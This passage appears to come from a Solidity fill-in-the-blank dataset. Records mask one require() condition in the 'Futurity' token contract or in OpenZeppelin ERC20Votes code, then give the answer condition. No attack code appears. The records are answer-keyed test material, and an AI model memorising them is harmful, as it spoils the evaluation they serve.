function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
library Address{
function sendValue(address payable recipient, uint256 amount) internal {
}
}
contract futurity is Context, IERC20, Ownable {
using Address for address payable;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) public allowedTransfer;
mapping (address => bool) private _isBlacklisted;
address[] private _excluded;
bool public tradingEnabled;
bool public swapEnabled;
bool private swapping;
//Anti Dump
mapping(address => uint256) private _lastSell;
bool public coolDownEnabled = false;
uint256 public coolDownTime = 0 seconds;
modifier antiBot(address account){
}
IRouter public router;
address public pair;
uint8 private constant _decimals = 9;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1e6 * 10**_decimals;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 public swapTokensAtAmount = 6_000 * 10**9;
uint256 public maxBuyLimit = 20_000 * 10**9;
uint256 public maxSellLimit = 20_000 * 10**9;
uint256 public maxWalletLimit = 20_000 * 10**9;
uint256 public genesis_block;
address public marketingWallet = 0x97D66824F40cF7a766667300A6a25b8B3e647b71;
address public donationWallet = 0x97D66824F40cF7a766667300A6a25b8B3e647b71;
string private constant _name = "Futurity";
string private constant _symbol = "FTY";
struct Taxes {
uint256 rfi;
uint256 marketing;
uint256 liquidity;
uint256 donation;
}
Taxes public taxes = Taxes(0, 7, 0, 0);
Taxes public sellTaxes = Taxes(0, 7, 0, 0);
struct TotFeesPaidStruct{
uint256 rfi;
uint256 marketing;
uint256 liquidity;
uint256 donation;
}
TotFeesPaidStruct public totFeesPaid;
struct valuesFromGetValues{
uint256 rAmount;
uint256 rTransferAmount;
uint256 rRfi;
uint256 rMarketing;
uint256 rLiquidity;
uint256 rDonation;
uint256 tTransferAmount;
uint256 tRfi;
uint256 tMarketing;
uint256 tLiquidity;
uint256 tDonation;
}
event FeesChanged();
event UpdatedRouter(address oldRouter, address newRouter);
modifier lockTheSwap {
}
constructor (address routerAddress) {
}
//std ERC20:
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
//override ERC20:
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override antiBot(msg.sender) returns(bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override antiBot(sender) returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public antiBot(msg.sender) returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public antiBot(msg.sender) returns (bool) {
}
function transfer(address recipient, uint256 amount) public override antiBot(msg.sender) returns (bool)
{
}
function isExcludedFromReward(address account) public view returns (bool) {
}
function reflectionFromToken(uint256 tAmount, bool deductTransferRfi) public view returns(uint256) {
}
function setTradingStatus(bool state) external onlyOwner{
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
}
function excludeFromReward(address account) public onlyOwner() {
}
function includeInReward(address account) external onlyOwner() {
}
function excludeFromFee(address account) public onlyOwner {
}
function includeInFee(address account) public onlyOwner {
}
function isExcludedFromFee(address account) public view returns(bool) {
}
function setTaxes(uint256 _rfi, uint256 _marketing, uint256 _liquidity, uint256 _donation) public onlyOwner {
}
function setSellTaxes(uint256 _rfi, uint256 _marketing, uint256 _liquidity, uint256 _donation) public onlyOwner {
}
function _reflectRfi(uint256 rRfi, uint256 tRfi) private {
}
function _takeLiquidity(uint256 rLiquidity, uint256 tLiquidity) private {
}
function _takeMarketing(uint256 rMarketing, uint256 tMarketing) private {
}
function _takeDonation(uint256 rDonation, uint256 tDonation) private {
}
function _getValues(uint256 tAmount, bool takeFee, bool isSell) private view returns (valuesFromGetValues memory to_return) {
}
function _getTValues(uint256 tAmount, bool takeFee, bool isSell) private view returns (valuesFromGetValues memory s) {
}
function _getRValues1(valuesFromGetValues memory s, uint256 tAmount, bool takeFee, uint256 currentRate) private pure returns (uint256 rAmount, uint256 rTransferAmount, uint256 rRfi,uint256 rMarketing, uint256 rLiquidity){
}
function _getRValues2(valuesFromGetValues memory s, bool takeFee, uint256 currentRate) private pure returns (uint256 rDonation) {
}
function _getRate() private view returns(uint256) {
}
function _getCurrentSupply() private view returns(uint256, uint256) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(amount <= balanceOf(from),"You are trying to transfer more than your balance");
require(<FILL_ME>)
if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to]){
require(tradingEnabled, "Trading not active");
}
if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to] && block.number <= genesis_block + 3) {
require(to != pair, "Sells not allowed for first 3 blocks");
}
if(from == pair && !_isExcludedFromFee[to] && !swapping){
require(amount <= maxBuyLimit, "You are exceeding maxBuyLimit");
require(balanceOf(to) + amount <= maxWalletLimit, "You are exceeding maxWalletLimit");
}
if(from != pair && !_isExcludedFromFee[to] && !_isExcludedFromFee[from] && !swapping){
require(amount <= maxSellLimit, "You are exceeding maxSellLimit");
if(to != pair){
require(balanceOf(to) + amount <= maxWalletLimit, "You are exceeding maxWalletLimit");
}
if(coolDownEnabled){
uint256 timePassed = block.timestamp - _lastSell[from];
require(timePassed >= coolDownTime, "Cooldown enabled");
_lastSell[from] = block.timestamp;
}
}
if(balanceOf(from) - amount <= 10 * 10**decimals()) amount -= (10 * 10**decimals() + amount - balanceOf(from));
bool canSwap = balanceOf(address(this)) >= swapTokensAtAmount;
if(!swapping && swapEnabled && canSwap && from != pair && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]){
if(to == pair) swapAndLiquify(swapTokensAtAmount, sellTaxes);
else swapAndLiquify(swapTokensAtAmount, taxes);
}
bool takeFee = true;
bool isSell = false;
if(swapping || _isExcludedFromFee[from] || _isExcludedFromFee[to]) takeFee = false;
if(to == pair) isSell = true;
_tokenTransfer(from, to, amount, takeFee, isSell);
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee, bool isSell) private {
}
function swapAndLiquify(uint256 contractBalance, Taxes memory temp) private lockTheSwap{
}
function addLiquidity(uint256 tokenAmount, uint256 bnbAmount) private {
}
function swapTokensForBNB(uint256 tokenAmount) private {
}
function airdropTokens(address[] memory accounts, uint256[] memory amounts) external onlyOwner{
}
function bulkExcludeFee(address[] memory accounts, bool state) external onlyOwner{
}
function updateMarketingWallet(address newWallet) external onlyOwner{
}
function updateDonationWallet(address newWallet) external onlyOwner{
}
function updateCooldown(bool state, uint256 time) external onlyOwner{
}
function updateSwapTokensAtAmount(uint256 amount) external onlyOwner{
}
function updateSwapEnabled(bool _enabled) external onlyOwner{
}
function updateIsBlacklisted(address account, bool state) external onlyOwner{
}
function bulkIsBlacklisted(address[] memory accounts, bool state) external onlyOwner{
}
function updateAllowedTransfer(address account, bool state) external onlyOwner{
}
function updateMaxTxLimit(uint256 maxBuy, uint256 maxSell) external onlyOwner{
}
function updateMaxWalletlimit(uint256 amount) external onlyOwner{
}
function updateRouterAndPair(address newRouter, address newPair) external onlyOwner{
}
//Use this in case BNB are sent to the contract by mistake
function rescueBNB(uint256 weiAmount) external onlyOwner{
}
function rescueAnyBEP20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
}
receive() external payable{
}
}
| !_isBlacklisted[from]&&!_isBlacklisted[to],"You are a bot" | 85,609 | !_isBlacklisted[from]&&!_isBlacklisted[to] |
"You are exceeding maxWalletLimit" | /**
https://t.me/FuturityERC
https://futurityfinance.com/
Links for twitter, medium, and whitepaper, on the website!
*/
// SPDX-License-Identifier: NOLICENSE
pragma solidity ^0.8.7;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _setOwner(address newOwner) private {
}
}
interface IFactory{
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
library Address{
function sendValue(address payable recipient, uint256 amount) internal {
}
}
contract futurity is Context, IERC20, Ownable {
using Address for address payable;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) public allowedTransfer;
mapping (address => bool) private _isBlacklisted;
address[] private _excluded;
bool public tradingEnabled;
bool public swapEnabled;
bool private swapping;
//Anti Dump
mapping(address => uint256) private _lastSell;
bool public coolDownEnabled = false;
uint256 public coolDownTime = 0 seconds;
modifier antiBot(address account){
}
IRouter public router;
address public pair;
uint8 private constant _decimals = 9;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1e6 * 10**_decimals;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 public swapTokensAtAmount = 6_000 * 10**9;
uint256 public maxBuyLimit = 20_000 * 10**9;
uint256 public maxSellLimit = 20_000 * 10**9;
uint256 public maxWalletLimit = 20_000 * 10**9;
uint256 public genesis_block;
address public marketingWallet = 0x97D66824F40cF7a766667300A6a25b8B3e647b71;
address public donationWallet = 0x97D66824F40cF7a766667300A6a25b8B3e647b71;
string private constant _name = "Futurity";
string private constant _symbol = "FTY";
struct Taxes {
uint256 rfi;
uint256 marketing;
uint256 liquidity;
uint256 donation;
}
Taxes public taxes = Taxes(0, 7, 0, 0);
Taxes public sellTaxes = Taxes(0, 7, 0, 0);
struct TotFeesPaidStruct{
uint256 rfi;
uint256 marketing;
uint256 liquidity;
uint256 donation;
}
TotFeesPaidStruct public totFeesPaid;
struct valuesFromGetValues{
uint256 rAmount;
uint256 rTransferAmount;
uint256 rRfi;
uint256 rMarketing;
uint256 rLiquidity;
uint256 rDonation;
uint256 tTransferAmount;
uint256 tRfi;
uint256 tMarketing;
uint256 tLiquidity;
uint256 tDonation;
}
event FeesChanged();
event UpdatedRouter(address oldRouter, address newRouter);
modifier lockTheSwap {
}
constructor (address routerAddress) {
}
//std ERC20:
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
//override ERC20:
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override antiBot(msg.sender) returns(bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override antiBot(sender) returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public antiBot(msg.sender) returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public antiBot(msg.sender) returns (bool) {
}
function transfer(address recipient, uint256 amount) public override antiBot(msg.sender) returns (bool)
{
}
function isExcludedFromReward(address account) public view returns (bool) {
}
function reflectionFromToken(uint256 tAmount, bool deductTransferRfi) public view returns(uint256) {
}
function setTradingStatus(bool state) external onlyOwner{
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
}
function excludeFromReward(address account) public onlyOwner() {
}
function includeInReward(address account) external onlyOwner() {
}
function excludeFromFee(address account) public onlyOwner {
}
function includeInFee(address account) public onlyOwner {
}
function isExcludedFromFee(address account) public view returns(bool) {
}
function setTaxes(uint256 _rfi, uint256 _marketing, uint256 _liquidity, uint256 _donation) public onlyOwner {
}
function setSellTaxes(uint256 _rfi, uint256 _marketing, uint256 _liquidity, uint256 _donation) public onlyOwner {
}
function _reflectRfi(uint256 rRfi, uint256 tRfi) private {
}
function _takeLiquidity(uint256 rLiquidity, uint256 tLiquidity) private {
}
function _takeMarketing(uint256 rMarketing, uint256 tMarketing) private {
}
function _takeDonation(uint256 rDonation, uint256 tDonation) private {
}
function _getValues(uint256 tAmount, bool takeFee, bool isSell) private view returns (valuesFromGetValues memory to_return) {
}
function _getTValues(uint256 tAmount, bool takeFee, bool isSell) private view returns (valuesFromGetValues memory s) {
}
function _getRValues1(valuesFromGetValues memory s, uint256 tAmount, bool takeFee, uint256 currentRate) private pure returns (uint256 rAmount, uint256 rTransferAmount, uint256 rRfi,uint256 rMarketing, uint256 rLiquidity){
}
function _getRValues2(valuesFromGetValues memory s, bool takeFee, uint256 currentRate) private pure returns (uint256 rDonation) {
}
function _getRate() private view returns(uint256) {
}
function _getCurrentSupply() private view returns(uint256, uint256) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(amount <= balanceOf(from),"You are trying to transfer more than your balance");
require(!_isBlacklisted[from] && !_isBlacklisted[to], "You are a bot");
if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to]){
require(tradingEnabled, "Trading not active");
}
if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to] && block.number <= genesis_block + 3) {
require(to != pair, "Sells not allowed for first 3 blocks");
}
if(from == pair && !_isExcludedFromFee[to] && !swapping){
require(amount <= maxBuyLimit, "You are exceeding maxBuyLimit");
require(<FILL_ME>)
}
if(from != pair && !_isExcludedFromFee[to] && !_isExcludedFromFee[from] && !swapping){
require(amount <= maxSellLimit, "You are exceeding maxSellLimit");
if(to != pair){
require(balanceOf(to) + amount <= maxWalletLimit, "You are exceeding maxWalletLimit");
}
if(coolDownEnabled){
uint256 timePassed = block.timestamp - _lastSell[from];
require(timePassed >= coolDownTime, "Cooldown enabled");
_lastSell[from] = block.timestamp;
}
}
if(balanceOf(from) - amount <= 10 * 10**decimals()) amount -= (10 * 10**decimals() + amount - balanceOf(from));
bool canSwap = balanceOf(address(this)) >= swapTokensAtAmount;
if(!swapping && swapEnabled && canSwap && from != pair && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]){
if(to == pair) swapAndLiquify(swapTokensAtAmount, sellTaxes);
else swapAndLiquify(swapTokensAtAmount, taxes);
}
bool takeFee = true;
bool isSell = false;
if(swapping || _isExcludedFromFee[from] || _isExcludedFromFee[to]) takeFee = false;
if(to == pair) isSell = true;
_tokenTransfer(from, to, amount, takeFee, isSell);
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee, bool isSell) private {
}
function swapAndLiquify(uint256 contractBalance, Taxes memory temp) private lockTheSwap{
}
function addLiquidity(uint256 tokenAmount, uint256 bnbAmount) private {
}
function swapTokensForBNB(uint256 tokenAmount) private {
}
function airdropTokens(address[] memory accounts, uint256[] memory amounts) external onlyOwner{
}
function bulkExcludeFee(address[] memory accounts, bool state) external onlyOwner{
}
function updateMarketingWallet(address newWallet) external onlyOwner{
}
function updateDonationWallet(address newWallet) external onlyOwner{
}
function updateCooldown(bool state, uint256 time) external onlyOwner{
}
function updateSwapTokensAtAmount(uint256 amount) external onlyOwner{
}
function updateSwapEnabled(bool _enabled) external onlyOwner{
}
function updateIsBlacklisted(address account, bool state) external onlyOwner{
}
function bulkIsBlacklisted(address[] memory accounts, bool state) external onlyOwner{
}
function updateAllowedTransfer(address account, bool state) external onlyOwner{
}
function updateMaxTxLimit(uint256 maxBuy, uint256 maxSell) external onlyOwner{
}
function updateMaxWalletlimit(uint256 amount) external onlyOwner{
}
function updateRouterAndPair(address newRouter, address newPair) external onlyOwner{
}
//Use this in case BNB are sent to the contract by mistake
function rescueBNB(uint256 weiAmount) external onlyOwner{
}
function rescueAnyBEP20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
}
receive() external payable{
}
}
| balanceOf(to)+amount<=maxWalletLimit,"You are exceeding maxWalletLimit" | 85,609 | balanceOf(to)+amount<=maxWalletLimit |
"insufficient BNB balance" | /**
https://t.me/FuturityERC
https://futurityfinance.com/
Links for twitter, medium, and whitepaper, on the website!
*/
// SPDX-License-Identifier: NOLICENSE
pragma solidity ^0.8.7;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _setOwner(address newOwner) private {
}
}
interface IFactory{
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
library Address{
function sendValue(address payable recipient, uint256 amount) internal {
}
}
contract futurity is Context, IERC20, Ownable {
using Address for address payable;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) public allowedTransfer;
mapping (address => bool) private _isBlacklisted;
address[] private _excluded;
bool public tradingEnabled;
bool public swapEnabled;
bool private swapping;
//Anti Dump
mapping(address => uint256) private _lastSell;
bool public coolDownEnabled = false;
uint256 public coolDownTime = 0 seconds;
modifier antiBot(address account){
}
IRouter public router;
address public pair;
uint8 private constant _decimals = 9;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1e6 * 10**_decimals;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 public swapTokensAtAmount = 6_000 * 10**9;
uint256 public maxBuyLimit = 20_000 * 10**9;
uint256 public maxSellLimit = 20_000 * 10**9;
uint256 public maxWalletLimit = 20_000 * 10**9;
uint256 public genesis_block;
address public marketingWallet = 0x97D66824F40cF7a766667300A6a25b8B3e647b71;
address public donationWallet = 0x97D66824F40cF7a766667300A6a25b8B3e647b71;
string private constant _name = "Futurity";
string private constant _symbol = "FTY";
struct Taxes {
uint256 rfi;
uint256 marketing;
uint256 liquidity;
uint256 donation;
}
Taxes public taxes = Taxes(0, 7, 0, 0);
Taxes public sellTaxes = Taxes(0, 7, 0, 0);
struct TotFeesPaidStruct{
uint256 rfi;
uint256 marketing;
uint256 liquidity;
uint256 donation;
}
TotFeesPaidStruct public totFeesPaid;
struct valuesFromGetValues{
uint256 rAmount;
uint256 rTransferAmount;
uint256 rRfi;
uint256 rMarketing;
uint256 rLiquidity;
uint256 rDonation;
uint256 tTransferAmount;
uint256 tRfi;
uint256 tMarketing;
uint256 tLiquidity;
uint256 tDonation;
}
event FeesChanged();
event UpdatedRouter(address oldRouter, address newRouter);
modifier lockTheSwap {
}
constructor (address routerAddress) {
}
//std ERC20:
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
//override ERC20:
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override antiBot(msg.sender) returns(bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override antiBot(sender) returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public antiBot(msg.sender) returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public antiBot(msg.sender) returns (bool) {
}
function transfer(address recipient, uint256 amount) public override antiBot(msg.sender) returns (bool)
{
}
function isExcludedFromReward(address account) public view returns (bool) {
}
function reflectionFromToken(uint256 tAmount, bool deductTransferRfi) public view returns(uint256) {
}
function setTradingStatus(bool state) external onlyOwner{
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
}
function excludeFromReward(address account) public onlyOwner() {
}
function includeInReward(address account) external onlyOwner() {
}
function excludeFromFee(address account) public onlyOwner {
}
function includeInFee(address account) public onlyOwner {
}
function isExcludedFromFee(address account) public view returns(bool) {
}
function setTaxes(uint256 _rfi, uint256 _marketing, uint256 _liquidity, uint256 _donation) public onlyOwner {
}
function setSellTaxes(uint256 _rfi, uint256 _marketing, uint256 _liquidity, uint256 _donation) public onlyOwner {
}
function _reflectRfi(uint256 rRfi, uint256 tRfi) private {
}
function _takeLiquidity(uint256 rLiquidity, uint256 tLiquidity) private {
}
function _takeMarketing(uint256 rMarketing, uint256 tMarketing) private {
}
function _takeDonation(uint256 rDonation, uint256 tDonation) private {
}
function _getValues(uint256 tAmount, bool takeFee, bool isSell) private view returns (valuesFromGetValues memory to_return) {
}
function _getTValues(uint256 tAmount, bool takeFee, bool isSell) private view returns (valuesFromGetValues memory s) {
}
function _getRValues1(valuesFromGetValues memory s, uint256 tAmount, bool takeFee, uint256 currentRate) private pure returns (uint256 rAmount, uint256 rTransferAmount, uint256 rRfi,uint256 rMarketing, uint256 rLiquidity){
}
function _getRValues2(valuesFromGetValues memory s, bool takeFee, uint256 currentRate) private pure returns (uint256 rDonation) {
}
function _getRate() private view returns(uint256) {
}
function _getCurrentSupply() private view returns(uint256, uint256) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee, bool isSell) private {
}
function swapAndLiquify(uint256 contractBalance, Taxes memory temp) private lockTheSwap{
}
function addLiquidity(uint256 tokenAmount, uint256 bnbAmount) private {
}
function swapTokensForBNB(uint256 tokenAmount) private {
}
function airdropTokens(address[] memory accounts, uint256[] memory amounts) external onlyOwner{
}
function bulkExcludeFee(address[] memory accounts, bool state) external onlyOwner{
}
function updateMarketingWallet(address newWallet) external onlyOwner{
}
function updateDonationWallet(address newWallet) external onlyOwner{
}
function updateCooldown(bool state, uint256 time) external onlyOwner{
}
function updateSwapTokensAtAmount(uint256 amount) external onlyOwner{
}
function updateSwapEnabled(bool _enabled) external onlyOwner{
}
function updateIsBlacklisted(address account, bool state) external onlyOwner{
}
function bulkIsBlacklisted(address[] memory accounts, bool state) external onlyOwner{
}
function updateAllowedTransfer(address account, bool state) external onlyOwner{
}
function updateMaxTxLimit(uint256 maxBuy, uint256 maxSell) external onlyOwner{
}
function updateMaxWalletlimit(uint256 amount) external onlyOwner{
}
function updateRouterAndPair(address newRouter, address newPair) external onlyOwner{
}
//Use this in case BNB are sent to the contract by mistake
function rescueBNB(uint256 weiAmount) external onlyOwner{
require(<FILL_ME>)
payable(msg.sender).transfer(weiAmount);
}
function rescueAnyBEP20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
}
receive() external payable{
}
}
| address(this).balance>=weiAmount,"insufficient BNB balance" | 85,609 | address(this).balance>=weiAmount |
"ERC20Votes: total supply risks overflowing votes" | // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/extensions/ERC20Votes.sol)
pragma solidity ^0.8.0;
/**
* @dev Extension of ERC20 to support Compound-like voting and delegation. This version is more generic than Compound's,
* and supports token supply up to 2^224^ - 1, while COMP is limited to 2^96^ - 1.
*
* NOTE: If exact COMP compatibility is required, use the {ERC20VotesComp} variant of this module.
*
* This extension keeps a history (checkpoints) of each account's vote power. Vote power can be delegated either
* by calling the {delegate} function directly, or by providing a signature to be used with {delegateBySig}. Voting
* power can be queried through the public accessors {getVotes} and {getPastVotes}.
*
* By default, token balance does not account for voting power. This makes transfers cheaper. The downside is that it
* requires users to delegate to themselves in order to activate checkpoints and have their voting power tracked.
*
* _Available since v4.2._
*/
abstract contract ERC20Votes is IVotes, ERC20Permit {
struct Checkpoint {
uint32 fromBlock;
uint224 votes;
}
bytes32 private constant _DELEGATION_TYPEHASH =
keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
mapping(address => address) private _delegates;
mapping(address => Checkpoint[]) private _checkpoints;
Checkpoint[] private _totalSupplyCheckpoints;
/**
* @dev Get the `pos`-th checkpoint for `account`.
*/
function checkpoints(address account, uint32 pos)
public
view
virtual
returns (Checkpoint memory)
{
}
/**
* @dev Get number of checkpoints for `account`.
*/
function numCheckpoints(address account)
public
view
virtual
returns (uint32)
{
}
/**
* @dev Get the address `account` is currently delegating to.
*/
function delegates(address account)
public
view
virtual
override
returns (address)
{
}
/**
* @dev Gets the current votes balance for `account`
*/
function getVotes(address account)
public
view
virtual
override
returns (uint256)
{
}
/**
* @dev Retrieve the number of votes for `account` at the end of `blockNumber`.
*
* Requirements:
*
* - `blockNumber` must have been already mined
*/
function getPastVotes(address account, uint256 blockNumber)
public
view
virtual
override
returns (uint256)
{
}
/**
* @dev Retrieve the `totalSupply` at the end of `blockNumber`. Note, this value is the sum of all balances.
* It is but NOT the sum of all the delegated votes!
*
* Requirements:
*
* - `blockNumber` must have been already mined
*/
function getPastTotalSupply(uint256 blockNumber)
public
view
virtual
override
returns (uint256)
{
}
/**
* @dev Lookup a value in a list of (sorted) checkpoints.
*/
function _checkpointsLookup(Checkpoint[] storage ckpts, uint256 blockNumber)
private
view
returns (uint256)
{
}
/**
* @dev Delegate votes from the sender to `delegatee`.
*/
function delegate(address delegatee) public virtual override {
}
/**
* @dev Delegates votes from signer to `delegatee`
*/
function delegateBySig(
address delegatee,
uint256 nonce,
uint256 expiry,
uint8 v,
bytes32 r,
bytes32 s
) public virtual override {
}
/**
* @dev Maximum token supply. Defaults to `type(uint224).max` (2^224^ - 1).
*/
function _maxSupply() internal view virtual returns (uint224) {
}
/**
* @dev Snapshots the totalSupply after it has been increased.
*/
function _mint(address account, uint256 amount) internal virtual override {
super._mint(account, amount);
require(<FILL_ME>)
_writeCheckpoint(_totalSupplyCheckpoints, _add, amount);
}
/**
* @dev Snapshots the totalSupply after it has been decreased.
*/
function _burn(address account, uint256 amount) internal virtual override {
}
/**
* @dev Move voting power when tokens are transferred.
*
* Emits a {DelegateVotesChanged} event.
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override {
}
/**
* @dev Change delegation for `delegator` to `delegatee`.
*
* Emits events {DelegateChanged} and {DelegateVotesChanged}.
*/
function _delegate(address delegator, address delegatee) internal virtual {
}
function _moveVotingPower(
address src,
address dst,
uint256 amount
) private {
}
function _writeCheckpoint(
Checkpoint[] storage ckpts,
function(uint256, uint256) view returns (uint256) op,
uint256 delta
) private returns (uint256 oldWeight, uint256 newWeight) {
}
function _add(uint256 a, uint256 b) private pure returns (uint256) {
}
function _subtract(uint256 a, uint256 b) private pure returns (uint256) {
}
}
| totalSupply()<=_maxSupply(),"ERC20Votes: total supply risks overflowing votes" | 85,612 | totalSupply()<=_maxSupply() |
"Please send the exact ETH amount" | // OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
}
/**
* @dev See {IERC721Metadata-symbol}.
